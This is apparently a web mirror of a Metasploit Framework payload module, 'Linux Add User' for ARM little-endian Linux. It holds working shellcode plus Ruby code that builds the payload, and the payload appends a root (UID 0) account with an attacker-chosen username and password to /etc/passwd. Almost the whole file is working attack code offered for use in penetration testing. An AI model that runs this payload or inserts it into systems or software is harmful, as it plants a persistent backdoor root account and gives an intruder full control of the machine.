CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/armle/adduser.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# AddUser
9
# -------
10
#
11
# Adds a UID 0 user to /etc/passwd.
12
#
13
###
14
module MetasploitModule
15
16
CachedSize = 119
17
18
include Msf::Payload::Single
19
include Msf::Payload::Linux
20
21
def initialize(info = {})
22
super(merge_info(info,
23
'Name' => 'Linux Add User',
24
'Description' => 'Create a new user with UID 0',
25
'Author' => [ 'Jonathan Salwan' ],
26
'License' => MSF_LICENSE,
27
'Platform' => 'linux',
28
'Arch' => ARCH_ARMLE,
29
'Privileged' => true))
30
31
# Register adduser options
32
register_options(
33
[
34
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
35
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
36
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
37
])
38
end
39
40
#
41
# Dynamically builds the adduser payload based on the user's options.
42
#
43
def generate(opts={})
44
user = datastore['USER'] || 'metasploit'
45
pass = datastore['PASS'] || 'metasploit'
46
shell = datastore['SHELL'] || '/bin/sh'
47
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
48
strl1 = [ (str.length)+52 ].pack('C*')
49
strl2 = [ str.length ].pack('C*')
50
pwdir = "/etc/passwd"
51
payload =
52
"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
53
"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
54
"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
55
"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
56
strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
57
"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
58
str + pwdir
59
60
end
61
end
62
63